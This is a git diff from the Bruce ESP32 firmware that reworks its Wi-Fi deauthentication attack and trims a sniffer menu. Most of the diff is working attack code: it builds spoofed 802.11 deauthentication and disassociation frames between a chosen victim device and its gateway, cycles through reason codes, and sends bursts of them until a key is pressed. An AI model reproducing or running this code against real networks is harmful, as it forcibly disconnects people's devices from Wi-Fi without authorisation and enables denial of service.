BruceDevices
diff --git a/‎sd_files/ssid_list.zip‎
78.6 KB b/‎sd_files/ssid_list.zip‎
78.6 KB
diff --git a/‎src/core/menu_items/WifiMenu.cpp‎
Lines changed: 1 addition & 8 deletions b/‎src/core/menu_items/WifiMenu.cpp‎
Lines changed: 1 addition & 8 deletions
diff --git a/‎src/modules/wifi/deauther.cpp‎
Lines changed: 106 additions & 102 deletions b/‎src/modules/wifi/deauther.cpp‎
Lines changed: 106 additions & 102 deletions
@@ -70,14 +70,7 @@ void WifiMenu::optionsMenu() {
     options.push_back({"SOCKS4 Proxy", []() { socks4Proxy(1080); }});
     options.push_back({"TelNET", telnet_setup});
     options.push_back({"SSH", lambdaHelper(ssh_setup, String(""))});
-    options.push_back({"Sniffers", [this]() {
-                           std::vector<Option> snifferOptions;
-                           snifferOptions.push_back({"Raw Sniffer", sniffer_setup});
-                           snifferOptions.push_back({"Probe Sniffer", karma_setup});
-                           snifferOptions.push_back({"Back", [this]() { optionsMenu(); }});
-
-                           loopOptions(snifferOptions, MENU_TYPE_SUBMENU, "Sniffers");
-                       }});
+    options.push_back({"Sniffer", sniffer_setup});
     options.push_back({"Scan Hosts", [=]() {
                            bool doScan = true;
                            if (!wifiConnected) doScan = wifiConnectMenu();
 
@@ -1,3 +1,4 @@
+#include "deauther.h"
 #include "clients.h"
 #include "core/display.h"
 #include "core/mykeyboard.h"
@@ -40,152 +41,164 @@ void getGatewayMAC(uint8_t gatewayMAC[6]) {
     }
 }
 
-// ============================================
-// SIMPLE MONITOR MODE SETUP (OPTIONAL)
-// ============================================
+bool isMACZero(const uint8_t* mac) {
+    for (int i = 0; i < 6; i++) {
+        if (mac[i] != 0x00) return false;
+    }
+    return true;
+}
+
+bool macCompare(const uint8_t* mac1, const uint8_t* mac2) {
+    for (int i = 0; i < 6; i++) {
+        if (mac1[i] != mac2[i]) return false;
+    }
+    return true;
+}
+
+int getAPChannel(const uint8_t* target_bssid) {
+    int found_channel = 0;
+
+    int numNetworks = WiFi.scanNetworks(false, false);
+
+    for (int i = 0; i < numNetworks; i++) {
+        uint8_t* bssid_ptr = WiFi.BSSID(i);
+
+        if (macCompare(bssid_ptr, target_bssid)) {
+            found_channel = WiFi.channel(i);
+            break;
+        }
+    }
+
+    WiFi.scanDelete();
+
+    if (found_channel == 0) {
+        found_channel = WiFi.channel();
+        if (found_channel == 0) found_channel = 1;
+    }
+
+    return found_channel;
+}
 
 bool tryMonitorMode(uint8_t channel) {
     Serial.printf("[DEAUTH] Trying monitor mode on CH%d\n", channel);
-    
-    // Save current state
+
     wifi_mode_t current_mode;
     esp_wifi_get_mode(&current_mode);
-    
-    // Stop WiFi briefly
+
     esp_wifi_stop();
     delay(5);
-    
-    // Reinitialize
+
     wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
     esp_wifi_init(&cfg);
-    
-    // Set to STA mode (required for monitor-like behavior)
+
     esp_wifi_set_mode(WIFI_MODE_STA);
-    
-    // Enable promiscuous mode (closest we can get to monitor)
+
     wifi_promiscuous_filter_t filter = {
         .filter_mask = WIFI_PROMIS_FILTER_MASK_ALL
     };
     esp_wifi_set_promiscuous_filter(&filter);
     esp_wifi_set_promiscuous(true);
-    
-    // Set channel
+
     esp_err_t err = esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
     if (err != ESP_OK) {
         Serial.printf("[DEAUTH] Failed to set channel: %d\n", err);
-        
-        // Restore original state
+
         esp_wifi_set_promiscuous(false);
         esp_wifi_set_mode(current_mode);
         esp_wifi_start();
         return false;
     }
-    
-    // Slight power increase for better range
+
     esp_wifi_set_max_tx_power(78);
-    
+
     Serial.printf("[DEAUTH] Using enhanced mode on CH%d\n", channel);
     return true;
 }
 
-// ============================================
-// OPTIMIZED FRAME BUILDING
-// ============================================
-
 void buildOptimizedDeauthFrame(uint8_t* frame, 
                               const uint8_t* dest,
                               const uint8_t* src,
                               const uint8_t* bssid,
                               uint8_t reason = 0x07,
                               bool is_disassoc = false) {
-    // Frame control
     frame[0] = is_disassoc ? 0xA0 : 0xC0;
     frame[1] = 0x00;
-    
-    // Duration
+
     frame[2] = 0x00;
     frame[3] = 0x00;
-    
-    // MAC addresses
+
     memcpy(&frame[4], dest, 6);
     memcpy(&frame[10], src, 6);
     memcpy(&frame[16], bssid, 6);
-    
-    // Sequence control (randomized)
+
     static uint16_t seq = 0;
     seq = random(0, 4096);
     frame[22] = (seq >> 4) & 0xFF;
     frame[23] = ((seq & 0x0F) << 4);
-    
-    // Reason code
+
     frame[24] = reason;
     frame[25] = 0x00;
 }
 
-// ============================================
-// ENHANCED STATION DEAUTH (MAIN FUNCTION)
-// ============================================
-
 void stationDeauth(Host host) {
+    if (WiFi.status() != WL_CONNECTED) {
+        displayError("Not connected to WiFi", true);
+        return;
+    }
     // Stop WebUI before setting WiFi mode for station deauth
     cleanlyStopWebUiForWiFiFeature();
-    
-    uint8_t MAC[6];
+    uint8_t targetMAC[6];
+
     uint8_t gatewayMAC[6];
     uint8_t victimIP[4];
-    
-    // Copy IP address
+
     for (int i = 0; i < 4; i++) victimIP[i] = host.ip[i];
-    
-    // Get current network info
-    String tssid = WiFi.SSID();
-    int channel = 1;
-    
-    // Try to get channel
-    wifi_ap_record_t ap_info;
-    if (esp_wifi_sta_get_ap_info(&ap_info) == ESP_OK) {
-        channel = ap_info.primary;
-        if (channel == 0) channel = 1;
-    } else {
-        channel = WiFi.channel();
-        if (channel == 0) channel = 1;
+
+    stringToMAC(host.mac.c_str(), targetMAC);
+
+    if (isMACZero(targetMAC)) {
+        displayError("Invalid MAC address", true);
+        return;
     }
-    
-    // Get gateway MAC (using Bruce's original function)
+
     getGatewayMAC(gatewayMAC);
-    
-    // Convert target MAC
-    stringToMAC(host.mac.c_str(), MAC);
-    
-    // Try enhanced mode first
+
+    if (isMACZero(gatewayMAC)) {
+        displayError("Could not get gateway MAC", true);
+        return;
+    }
+
+    int channel = getAPChannel(gatewayMAC);
+
     bool enhanced_mode = tryMonitorMode(channel);
-    
+
     if (!enhanced_mode) {
-        // Fallback to Bruce's original AP mode
         wifiDisconnect();
         delay(10);
         WiFi.mode(WIFI_AP);
-        
-        if (!WiFi.softAP(tssid, emptyString, channel, 1, 4, false)) {
+
+        String currentSsid = WiFi.SSID();
+        if (currentSsid.length() == 0) {
+            currentSsid = "DEAUTH_" + String(random(1000, 9999));
+        }
+
+        if (!WiFi.softAP(currentSsid.c_str(), emptyString, channel, 1, 4, false)) {
             Serial.println("Fail Starting AP Mode");
             displayError("Fail starting Deauth", true);
             return;
         }
     }
-    
-    // Prepare frames
-    uint8_t deauth_ap_to_sta[26];      // AP -> Station deauth
-    uint8_t disassoc_ap_to_sta[26];    // AP -> Station disassociate
-    uint8_t deauth_sta_to_ap[26];      // Station -> AP deauth (spoofed)
-    uint8_t disassoc_sta_to_ap[26];    // Station -> AP disassociate (spoofed)
-    
-    // Build frames once
-    buildOptimizedDeauthFrame(deauth_ap_to_sta, MAC, gatewayMAC, gatewayMAC, 0x07, false);
-    buildOptimizedDeauthFrame(disassoc_ap_to_sta, MAC, gatewayMAC, gatewayMAC, 0x07, true);
-    buildOptimizedDeauthFrame(deauth_sta_to_ap, gatewayMAC, MAC, gatewayMAC, 0x07, false);
-    buildOptimizedDeauthFrame(disassoc_sta_to_ap, gatewayMAC, MAC, gatewayMAC, 0x07, true);
-    
-    // Bruce's original display code (keep same structure)
+
+    uint8_t deauth_ap_to_sta[26];
+    uint8_t disassoc_ap_to_sta[26];
+    uint8_t deauth_sta_to_ap[26];
+    uint8_t disassoc_sta_to_ap[26];
+
+    buildOptimizedDeauthFrame(deauth_ap_to_sta, targetMAC, gatewayMAC, gatewayMAC, 0x07, false);
+    buildOptimizedDeauthFrame(disassoc_ap_to_sta, targetMAC, gatewayMAC, gatewayMAC, 0x07, true);
+    buildOptimizedDeauthFrame(deauth_sta_to_ap, gatewayMAC, targetMAC, gatewayMAC, 0x07, false);
+    buildOptimizedDeauthFrame(disassoc_sta_to_ap, gatewayMAC, targetMAC, gatewayMAC, 0x07, true);
+
     drawMainBorderWithTitle("Station Deauth");
     tft.setTextSize(FP);
     padprintln("Trying to deauth one target.");
@@ -196,73 +209,64 @@ void stationDeauth(Host host) {
     padprintln("Mode:" + String(enhanced_mode ? "Enhanced" : "AP"));
     padprintln("");
     padprintln("Press Any key to STOP.");
-    
+
     long tmp = millis();
     int cont = 0;
     int total_frames = 0;
-    
-    // Reason codes to rotate through
+
     uint8_t reason_codes[] = {0x01, 0x04, 0x06, 0x07, 0x08};
     uint8_t current_reason = 0;
-    
+
     while (!check(AnyKeyPress)) {
-        // Update reason code every 20 frames
         if (cont % 20 == 0) {
             current_reason = (current_reason + 1) % 5;
             deauth_ap_to_sta[24] = reason_codes[current_reason];
             disassoc_ap_to_sta[24] = reason_codes[current_reason];
             deauth_sta_to_ap[24] = reason_codes[current_reason];
             disassoc_sta_to_ap[24] = reason_codes[current_reason];
         }
-        
+
         if (enhanced_mode) {
-            // Enhanced mode: Use raw frame transmission
             esp_wifi_80211_tx(WIFI_IF_STA, deauth_ap_to_sta, 26, false);
             esp_wifi_80211_tx(WIFI_IF_STA, disassoc_ap_to_sta, 26, false);
             esp_wifi_80211_tx(WIFI_IF_STA, deauth_sta_to_ap, 26, false);
             esp_wifi_80211_tx(WIFI_IF_STA, disassoc_sta_to_ap, 26, false);
         } else {
-            // AP mode: Use Bruce's original send_raw_frame
             send_raw_frame(deauth_ap_to_sta, 26);
             send_raw_frame(disassoc_ap_to_sta, 26);
             send_raw_frame(deauth_sta_to_ap, 26);
             send_raw_frame(disassoc_sta_to_ap, 26);
         }
-        
+
         cont += 4;
         total_frames += 4;
-        
-        // Optimized timing: burst then pause
+
         if (cont % 16 == 0) {
-            delay(35); // Pause between bursts
+            delay(35);
         } else {
-            delay(2);  // Fast burst
+            delay(2);
         }
-        
-        // Update FPS display every second
+
         if (millis() - tmp > 1000) {
             int fps = cont;
             cont = 0;
             tmp = millis();
-            
-            // Update FPS counter (more efficient)
+
             tft.fillRect(tftWidth - 100, tftHeight - 40, 100, 40, TFT_BLACK);
             tft.drawRightString(String(fps) + " fps", tftWidth - 12, tftHeight - 36, 1);
             tft.drawRightString("Total: " + String(total_frames), tftWidth - 12, tftHeight - 20, 1);
         }
     }
-    
-    // Cleanup
+
     if (enhanced_mode) {
         esp_wifi_set_promiscuous(false);
     }
-    
+
     wifiDisconnect();
     WiFi.mode(WIFI_STA);
-    
-    // Show summary
+
     tft.fillRect(0, tftHeight - 60, tftWidth, 60, TFT_BLACK);
     padprintln("Attack stopped.");
     padprintln("Frames sent: " + String(total_frames));
     delay(1000);
-}
+}